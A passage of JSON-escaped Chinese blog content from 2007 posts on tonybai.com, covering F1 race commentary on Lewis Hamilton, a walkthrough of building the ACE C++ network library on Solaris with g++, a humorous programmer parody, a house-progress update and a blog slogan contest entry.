href=\"http://tonybai.com/2007/04/15/lewis-hamilton-make-me-love-f1/\"\u003e汉密尔顿\u003c/a\u003e并没有如众人所望，拿下该分站赛冠军，而是以一个第三名结束了本赛季F1的上半程，虽然在车手积分榜上依旧领先。\u003c/p\u003e\n\u003cp\u003e了解F1的人都知道英国的银石赛道历史之悠久，1948年起开始举办英国大奖赛，并在1950年成为第一场F1世界锦标赛的赛场，可以说现代F1赛事就是从该赛道启航的，不过也是由于历史太过悠久，在现代人眼中其设施已经显出落后了，并且以\u0026rsquo;脏\u0026rsquo;出名。在电视上也可以看到赛道上的白色及其他不明物质。不过这丝毫不影响今年英国车迷来到该赛道看球的欲望，因为有汉密尔顿，英国车迷的把希望都寄托到了汉密尔顿身上，希望其能在本土拿到这个分站赛冠军。昨天的排位赛，汉密尔顿没让大家失望，在最后时刻以微弱优势超越莱科宁，拿到杆位。今天的正赛，出发时刻依然正常，汉密尔顿成功的在发车阶段挡住了莱科宁的进攻。不过迈凯轮对自己的赛车实在是信心不足，让汉密尔顿采用了轻油策略，提早进站，而在进站的时候汉密尔顿为年轻付出了代价，在队友油管还未拔出前就急于发车，结果耽误了至少2秒的时间，让莱科宁轻松超越；之后汉密尔顿又被队友阿隆索通过进站超越，落到第三位，这个名次也一直保持到了最后，虽然其本赛季站站登上奖台的记录依旧延续，不过本站其表现实在是对不起车迷们。在最后居然和第一名莱科宁有30多秒的差距。除了进站战术的问题不谈，汉密尔顿今天的发挥真的一般，车速太慢，导致差距越拉越大，最后到了无法弥补的代价，再加上那次失误。不过对于年轻的汉密尔顿来说，这也未必不是一件坏事，相信事后车队以及汉密尔顿本人都会认真总结反思的，争取在本赛季下半段扩大自己的领先优势，汉密尔顿仍旧是目前F1世界最具车王潜质的选手，继续加油吧!\u003c/p\u003e","title":"破旧的银石赛道，失落的汉密尔顿"},{"content":"近期公司实行新的绩效考核机制，我的考核目标中就有一项叫做：\u0026ldquo;成功使用新技术、框架、思路等至少3个\u0026rdquo;，呵呵，先不论绩效考核机制是否合理，既然已经这样了那就需要去适应。一直在做Network Application，早就知道ACE在业界中的名气，这回有理由找个时间好好挖掘一下ACE的思路，也为我的绩效目标增色啊^_^。\n以上只是开个玩笑罢了。上周末去书店看到电子工业出版社再次出版的\u0026rsquo;C++网络编程卷一\u0026rsquo;，这套书的卷1以及卷2的英文电子版我早已有了，但是还是喜欢抱着纸板书看书的那种感觉，所以就顺便买了下来。翻看了一下，发现里面的内容恰恰是现在我所需要的，如果是前两年看这本书，理解起来肯定不会很透彻，因为那时的心中缺少的是恰恰是问题和困惑，没有了那些东西看书的效果也就大打折扣；反之如果作者的思路恰恰是把你扶上的正确的思维轨道，以帮助你解决了心中的那个结，你的收获就会是大大的。\n记得前年的时候曾经下载过ACE并且尝试从源代码Build，结果是失败了，原因现在已经记不清了；这次重新下载ACE-5.5版本在Solaris 9上用G++ 3.2编译，居然顺利通过，其功劳应该归功于ACE的开发者之一Stephen D. Huston的\u0026rsquo;The ACE Programmers Guide\u0026rsquo;一书，而且从ACE自带文档中得知，ACE最先就是在Solaris上开发的。\nBuild过程：\n1. 下载ACE的源码包；解包解压，一般你会在当前目录下获得一个名为\u0026rsquo;ACE_wrappers\u0026rsquo;的目录；\n2. 设置ACE_ROOT环境变量；如我用的是csh，我就会在用户的HOME路径下的.cshrc中增加一个环境变量ACE_ROOT，比如：setenv ACE_ROOT \u0026lsquo;/export/home1/baim/ACE_wrappers\u0026rsquo;；\n3. 切换路径到$ACE_ROOT/ace/下，创建config.h，在这个头文件中，我们需要做一件事，就是include一个你所在的编译平台的头文件，比如我是在Sun Solaris 9上编译的，我的config.h中的内容就是这样的：\n//config.h\n#include \u0026ldquo;config-sunos5.9.h\u0026rdquo;\n不同的平台，包含的头文件不同，这些头文件也都在$ACE_ROOT/ace/下，你可以用\u0026rsquo;ls -l|grep config\u0026rsquo;来看看究竟有哪些config头文件，选择你所在平台对应的即可。\n4. 切换到$ACE_ROOT/include/makeinclude下，创建一个叫\u0026rsquo;platform_macros.GNU\u0026rsquo;的文件，同样这里也有平台相关的一堆.GNU文件，我们只需在我们新建的platform_macros.GNU文件中包含对应文件即可。\n如我用g++在Solaris 9上编译，我就该选择：platform_sunos5_g++.GNU\n//platform_macros.GNU\ninclude $(ACE_ROOT)/include/makeinclude/platform_sunos5_g++.GNU\n这个文件里还可以放置make的编译选项，比如我要生成.a文件，我可以这么做：\n//platform_macros.GNU\nstatic_libs=1\ninclude $(ACE_ROOT)/include/makeinclude/platform_sunos5_g++.GNU\n5. 切换到$ACE_ROOT/ace/下，输入make命令执行即可。编译的过程是漫长的，大约1个小时，之后你就会发现在$ACE_ROOT/ace/下有libACE.so -\u0026gt; libACE.so.5.5.0*、libACE.so.5.5.0*和libACE.a出现了。\n构建过程到此结束。\nACE的makefile没有.phony install，所以在你的ACE应用程序里可直接引用$(ACE_ROOT)/ace下面的头文件，直接链接$(ACE_ROOT)/ace下面的libACE.a库即可。\n//HelloACE.cpp\n#include \u0026ldquo;ace/Log_Msg.h\u0026rdquo;\nvoid foo (void);\nint ACE_TMAIN (int, ACE_TCHAR *[])\n{\nACE_TRACE(ACE_TEXT (\u0026ldquo;main\u0026rdquo;));\nACE_DEBUG ((LM_INFO, ACE_TEXT (\u0026quot;%IHi Mom\\n\u0026quot;)));\nfoo();\nACE_DEBUG ((LM_INFO, ACE_TEXT (\u0026quot;%IGoodnight\\n\u0026quot;)));\nreturn 0;\n}\nvoid foo (void)\n{\nACE_TRACE (ACE_TEXT (\u0026ldquo;foo\u0026rdquo;));\nACE_DEBUG ((LM_INFO, ACE_TEXT (\u0026quot;%IHowdy Pardner\\n\u0026quot;)));\n}\n//编译\ng++ -o HelloACE HelloACE.cpp -I$ACE_ROOT -I./ -L$ACE_ROOT/ace -lACE -lsocket -ldl -lgen -lnsl -lposix4 -lthread\n这里有几点注意事项：\n1、如果libACE.so.5.5.0*和libACE.a都同时在$ACE_ROOT/ace下的话，上面的编译命令默认优先进行动态链接。也就是说编译出来的可执行程序HelloACE在运行的时候如果找不到libACE.so.5.5.0就会报错。\n2、如果想进行静态链接的话，可以将$ACE_ROOT/ace下的libACE.so.5.5.0删除或者改名，这样在执行上面的编译命令后即是静态链接。\n3、注意g++链接.a和.o时是有顺序的，g++从左到右读入目标文件或.a文件中的符号，如果靠右边的目标文件或者.a文件中没有靠左面的目标文件或者.a文件中的未定义的符号定义的话(或者白话一点说：右边没有左边想要的)，程序就会报错。比如我们把上述的编译命令改一下，改为：\ng++ -o HelloACE -I$ACE_ROOT -I./ -L$ACE_ROOT/ace -lACE -lsocket -ldl -lgen -lnsl -lposix4 -lthread HelloACE.cpp\n执行命令后，会出现下面错误提示：\n未定义 文件中的\n符号 在文件中\nACE_Log_Msg::log(ACE_Log_Priority, char const*, …)/var/tmp//ccBl9Q0L.o\nACE_Log_Msg::last_error_adapter() /var/tmp//ccBl9Q0L.o\nACE_Log_Msg::conditional_set(char const*, int, int, int)/var/tmp//ccBl9Q0L.o\nACE_Log_Msg::instance() /var/tmp//ccBl9Q0L.o\nld: 致命的: 符号参照错误. 没有输出被写入HelloACE\ncollect2: ld returned 1 exit status\n实际上上面的命令g++ -o HelloACE -I$ACE_ROOT -I./ -L$ACE_ROOT/ace -lACE -lsocket -ldl -lgen -lnsl -lposix4 -lthread HelloACE.cpp等价于下面两个命令：\ng++ -c -I$ACE_ROOT -I./ HelloACE.cpp\ng++ -o HelloACE -L$ACE_ROOT/ace -lACE -lsocket -ldl -lgen -lnsl -lposix4 -lthread HelloACE.o\n其实上面错误提示中的\u0026quot;/var/tmp//ccBl9Q0L.o\u0026quot;，其实就是一个匿名的HelloACE.o\n另外在\u0026rsquo;The ACE Programmers Guide\u0026rsquo;一书中，作者给了个Makefile，如下：\nBIN = HelloACE\nBUILD = $(VBIN)\nSRC = $(addsuffix .cpp,$(BIN))\nLIBS =\nLDFLAGS = -L$(PROJ_ROOT)/lib\n#—————————————————\n#Include macros and targets\n#—————————————————\ninclude $(ACE_ROOT)/include/makeinclude/wrapper_macros.GNU\ninclude $(ACE_ROOT)/include/makeinclude/macros.GNU\ninclude $(ACE_ROOT)/include/makeinclude/rules.common.GNU\ninclude $(ACE_ROOT)/include/makeinclude/rules.nonested.GNU\ninclude $(ACE_ROOT)/include/makeinclude/rules.bin.GNU\ninclude $(ACE_ROOT)/include/makeinclude/rules.local.GNU\n直接用该Makefile会让你的build更简洁，另外还有支持多个.cpp文件的Makefile在那本书里，大家可以参考。\n","permalink":"https://tonybai.com/2007/06/14/build-ace-successfully/","summary":"\u003cp\u003e近期公司实行新的绩效考核机制，我的考核目标中就有一项叫做：\u0026ldquo;成功使用新技术、框架、思路等至少3个\u0026rdquo;，呵呵，先不论绩效考核机制是否合理，既然已经这样了那就需要去适应。一直在做Network Application，早就知道ACE在业界中的名气，这回有理由找个时间好好挖掘一下ACE的思路，也为我的绩效目标增色啊^_^。\u003c/p\u003e","title":"成功Build ACE"},{"content":"在公司内网看到一则趣帖，这里转载一下。\n编程大腕\n写就要写最难懂的程序\n用记事本做编辑器\n编译就得用最难用的编译器\n程序不带半点注释\n程序里面至少要有三个类\n什么多继承呀, 多线程呀，template呀，inline呀\n能给他用的全给他用上\n一行里面有while有++有?:有goto\n文章里面一定要搬出一个XX哥\n用很随意的语气，关系特好的样子\n如果自己出书 ，甭管是什么语言\n一开头都打印\n\u0026ldquo;hello world! \u0026quot;\n一副专业人士的派头(儿)\n倍(儿)有感觉\n编程中场再去冲杯咖啡\n咖啡要雀巢的\n一个程序最多也就一两个小时就搞定\n最后再来句\u0026quot;最近感冒了，哎～\u0026rdquo;\n就一个字(儿)　酷\n用下你写的程序就得要跟七八十个参数\n同行的人不是用C就是用汇编\n你要是用VB\n你都不好意思跟人家打招呼\n你说这样的高手，一个月得拿多少钱？\n我觉得怎么着也得两千吧\n两千 那是老板\n五百封顶\n你别嫌少　还是日元\n你得理解老板的处境\n本来公司就经营的惨不忍睹\n根本不会再多给你一分钱\n什么叫编程高手　你知道吗？\n编程高手就是写什么程序\n都写最难的　不写最好的\n所以，我们编程高手的口号(儿)就是\n不求好用　但求难懂。\n","permalink":"https://tonybai.com/2007/06/13/foward-master-programmer/","summary":"\u003cp\u003e在公司内网看到一则趣帖，这里转载一下。\u003c/p\u003e\n\u003cp\u003e编程大腕\u003c/p\u003e\n\u003cp\u003e写就要写最难懂的程序\u003cbr\u003e\n用记事本做编辑器\u003cbr\u003e\n编译就得用最难用的编译器\u003cbr\u003e\n程序不带半点注释\u003cbr\u003e\n程序里面至少要有三个类\u003cbr\u003e\n什么多继承呀, 多线程呀，template呀，inline呀\u003cbr\u003e\n能给他用的全给他用上\u003cbr\u003e\n一行里面有while有++有?:有goto\u003cbr\u003e\n文章里面一定要搬出一个XX哥\u003cbr\u003e\n用很随意的语气，关系特好的样子\u003cbr\u003e\n如果自己出书 ，甭管是什么语言\u003cbr\u003e\n一开头都打印\u003cbr\u003e\n\u0026ldquo;hello world! \u0026quot;\u003cbr\u003e\n一副专业人士的派头(儿)\u003cbr\u003e\n倍(儿)有感觉\u003cbr\u003e\n编程中场再去冲杯咖啡\u003cbr\u003e\n咖啡要雀巢的\u003cbr\u003e\n一个程序最多也就一两个小时就搞定\u003cbr\u003e\n最后再来句\u0026quot;最近感冒了，哎～\u0026rdquo;\u003cbr\u003e\n就一个字(儿)　酷\u003cbr\u003e\n用下你写的程序就得要跟七八十个参数\u003cbr\u003e\n同行的人不是用C就是用汇编\u003cbr\u003e\n你要是用VB\u003cbr\u003e\n你都不好意思跟人家打招呼\u003cbr\u003e\n你说这样的高手，一个月得拿多少钱？\u003cbr\u003e\n我觉得怎么着也得两千吧\u003cbr\u003e\n两千 那是老板\u003cbr\u003e\n五百封顶\u003cbr\u003e\n你别嫌少　\u003cbr\u003e\n还是日元\u003cbr\u003e\n你得理解老板的处境\u003cbr\u003e\n本来公司就经营的惨不忍睹\u003cbr\u003e\n根本不会再多给你一分钱\u003cbr\u003e\n什么叫编程高手　你知道吗？\u003cbr\u003e\n编程高手就是写什么程序\u003cbr\u003e\n都写最难的　不写最好的\u003cbr\u003e\n所以，我们编程高手的口号(儿)就是\u003cbr\u003e\n不求好用　但求难懂。\u003c/p\u003e","title":"转载'编程大腕'"},{"content":"正如在法国摩纳哥站后我谈到的\u0026rsquo;汉密尔顿，首个分站赛冠军只是时间问题!\u0026lsquo;一样，在今天凌晨举行的F1加拿大站的比赛中小将汉密尔顿不负众望，继在前天拿到自己F1的第一个杆位后，又拿到了自己职业生涯的第一个分站赛冠军，也是本赛季唯一保持每站都登上领奖台的车手，至于他保持的新人记录仍强劲的持续着。\n这站比赛应该说是很精彩，各种精彩比赛因素都具备，10辆赛车退赛，4次安全车出动，特别是库比卡的\u0026rsquo;撞车表演\u0026rsquo;更是让人们感受到了赛车运动的极大危险性。而唯一稳定发挥的汉密尔顿笑到了最后，而阿隆索则为自己在发车时的不地道付出了代价，很显然他是想超车，超队友汉密尔顿的车；看过前几站比赛的人都知道，特别是摩纳哥站的人都会清楚的记得汉密尔顿为阿隆索挡住后车超车的举动，而这次两人换位后，阿隆索居然这么不地道。本站结束后汉密尔顿领先阿隆索8分，只要迈凯轮不偏不相，汉密尔顿的辉煌还会一直持续下去。\n反观法拉利马萨应该说缺少舒马赫的那种稳重和成熟，这也许和他南美巴西人的性格有关，而这样很容易大起大落，导致法拉利战绩一路下滑，莱科宁本赛季则是运气不佳，很难说今后发展会如何。\n汉密尔顿这时候应该冷静，毕竟F1赛季还很漫长，一站胜利算不得什么，只有战胜自己才能赢得尊敬、赢得冠军，毕竟成为新一代车王的路还很长。\n这里顺便说一下昨晚的法网男单决赛，费天王的遗憾依旧持续着，这里只能说：费天王坚持住，明年法网从头再来。\n汉密尔顿加拿大站夺魁\n","permalink":"https://tonybai.com/2007/06/11/hamilton-win-his-frist-substation-champion/","summary":"\u003cp\u003e正如在法国摩纳哥站后我谈到的\u0026rsquo;\u003ca href=\"http://tonybai.com/2007/05/28/only-time-problem-to-win-first-substation-champion-for-hamilton/\"\u003e汉密尔顿，首个分站赛冠军只是时间问题!\u003c/a\u003e\u0026lsquo;一样，在今天凌晨举行的F1加拿大站的比赛中小将汉密尔顿不负众望，继在前天拿到自己F1的第一个杆位后，又拿到了自己职业生涯的第一个分站赛冠军，也是本赛季唯一保持每站都登上领奖台的车手，至于他保持的新人记录仍强劲的持续着。\u003c/p\u003e\n\u003cp\u003e这站比赛应该说是很精彩，各种精彩比赛因素都具备，10辆赛车退赛，4次安全车出动，特别是库比卡的\u0026rsquo;撞车表演\u0026rsquo;更是让人们感受到了赛车运动的极大危险性。而唯一稳定发挥的汉密尔顿笑到了最后，而阿隆索则为自己在发车时的不地道付出了代价，很显然他是想超车，超队友汉密尔顿的车；看过前几站比赛的人都知道，特别是摩纳哥站的人都会清楚的记得汉密尔顿为阿隆索挡住后车超车的举动，而这次两人换位后，阿隆索居然这么不地道。本站结束后汉密尔顿领先阿隆索8分，只要迈凯轮不偏不相，汉密尔顿的辉煌还会一直持续下去。\u003c/p\u003e","title":"汉密尔顿夺职业首冠，阿隆索为不地道付出代价"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/06/09/found-the-triumphal-arch-in-3d-driving-game/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"惊见凯旋门"},{"content":"自从五一黄金周最后一天到过\u0026rsquo;山上\u0026rsquo;之后，这么长时间一直没有亲自去过，都是通过搜房网的\u0026rsquo;香域蓝山\u0026rsquo;论坛得知近况的，这里说明一下，所谓的\u0026rsquo;山上\u0026rsquo;是论坛上\u0026rsquo;野猪\u0026rsquo;朋友们对该楼盘的昵称。^_^\n蓝山的KFS还是说到做到的，他们在卖楼的时候就承诺：先绿化后交房。现在山上正在做绿化呢，先前工地的尘土飞扬的情形现在已经看不到了，取而代之的是满眼的绿色和人造景观，颇让人赏心悦目。最近蓝山的论坛比较火，看房的、筹备业主委员会的、筹备山上足球队、篮球队的以及准备装修团购的，大家忙得不亦乐乎。图片最直观最有说服力了，把我亲自拍下的以及其他业主留下的影像在这里摆上一摆：\n先看看园区，在楼上拍摄全景效果会好些：\n下面是从我家北阳台拍摄的^_^\n从北阳台看园区景色(一)\n从北阳台看园区景色(二)\n从北阳台看园区景色(三)\n施工的工人\n园区的设施也很有特色：\n传说中山上的咖啡屋\n山上的井盖，有特色吧\n\u0026lsquo;蜘蛛人\u0026rsquo;在清洗楼外墙面砖\n看完外景看我家：\n据说守卫说是德国门锁，不知道真的假的\n我家客厅\n我家北卧室\n我家南卧室\n我家厨房加北阳台\n交房在即，看到了论坛上的交房收费明细，掐指算来也算是不小一笔费用，买房真是费钱啊，不过沈阳的楼市据说在全国来说还算是行情稳定的，稳中有升，自去年买房到现在，山上的房价每平米已经涨了500多了，加之附近的一些公园、购物中心的建设，房价还会继续走高，掐指算来早买房还是合适的，我只是说在沈阳这样的房价泡沫不太多的城市，像上海那样动则2、3W一米的房价，买起来可真是要慎重啊。反正我也买不起，呵呵。如果有钱还是在沈阳这样的二线城市做做投资吧，比股票风险还是小很多的。\n","permalink":"https://tonybai.com/2007/06/08/recent-situation-of-my-house/","summary":"\u003cp\u003e自从五一黄金周最后一天到过\u0026rsquo;山上\u0026rsquo;之后，这么长时间一直没有亲自去过，都是通过搜房网的\u0026rsquo;香域蓝山\u0026rsquo;论坛得知近况的，这里说明一下，所谓的\u0026rsquo;山上\u0026rsquo;是论坛上\u0026rsquo;野猪\u0026rsquo;朋友们对该楼盘的昵称。^_^\u003c/p\u003e","title":"'山'上近况"},{"content":"晚上看到Blogbus首页上公告栏中有这样一则消息：\u0026quot;BlogBus：Logo和Slogan评选\u0026quot;，甚是兴奋。自己在Blogbus开博近三年了，也算是老博了，这次Blogbus选Slogan，自己无论如何也要出把力，呵呵，画Logo肯定是不在行了，有想法也画不出来；但是用心写两句口号还是可以的，遂冥思苦想，提交了3条Slogan。\n第一条：博客无欲，乐在其中\n创作说明：我曾想过这样一个问题：写博客到底是为了什么呢，这个slogan给了我答案。\n第二条：共写博客，共享快乐\n创作说明：强调博客体验，我从写博客的体验中提炼出来这一句，与我提出的\u0026rsquo;博客无欲，乐在其中\u0026rsquo;异曲同工。\n第三条：开启博客，放飞你我\n创作说明：博客给了你一个向世人展示自我的舞台。\n第三条是从\u0026rsquo;点燃激情，传递理想\u0026rsquo;这句演化过来的，排在最后，选上的机会在这三句中应该最小。\n也不知道Blogbus的工作人员能否相中我的这几条Slogan，不过我自己感觉还是很满意的，毕竟是自身体验后的感悟，也是原创，也算没白费脑细胞。^_^\n","permalink":"https://tonybai.com/2007/06/08/it-is-fun-to-write-blog-without-any-other-desire/","summary":"\u003cp\u003e晚上看到Blogbus首页上公告栏中有这样一则消息：\u0026quot;\u003ca href=\"http://blogbus.blogbus.com/logs/5732085.html\"\u003eBlogBus：Logo和Slogan评选\u003c/a\u003e\u0026quot;，甚是兴奋。自己在Blogbus开博近三年了，也算是老博了，这次Blogbus选Slogan，自己无论如何也要出把力，呵呵，画Logo肯定是不在行了，有想法也画不出来；但是用心写两句口号还是可以的，遂冥思苦想，提交了3条Slogan。\u003c/p\u003e\n\u003cp\u003e第一条：\u003ca 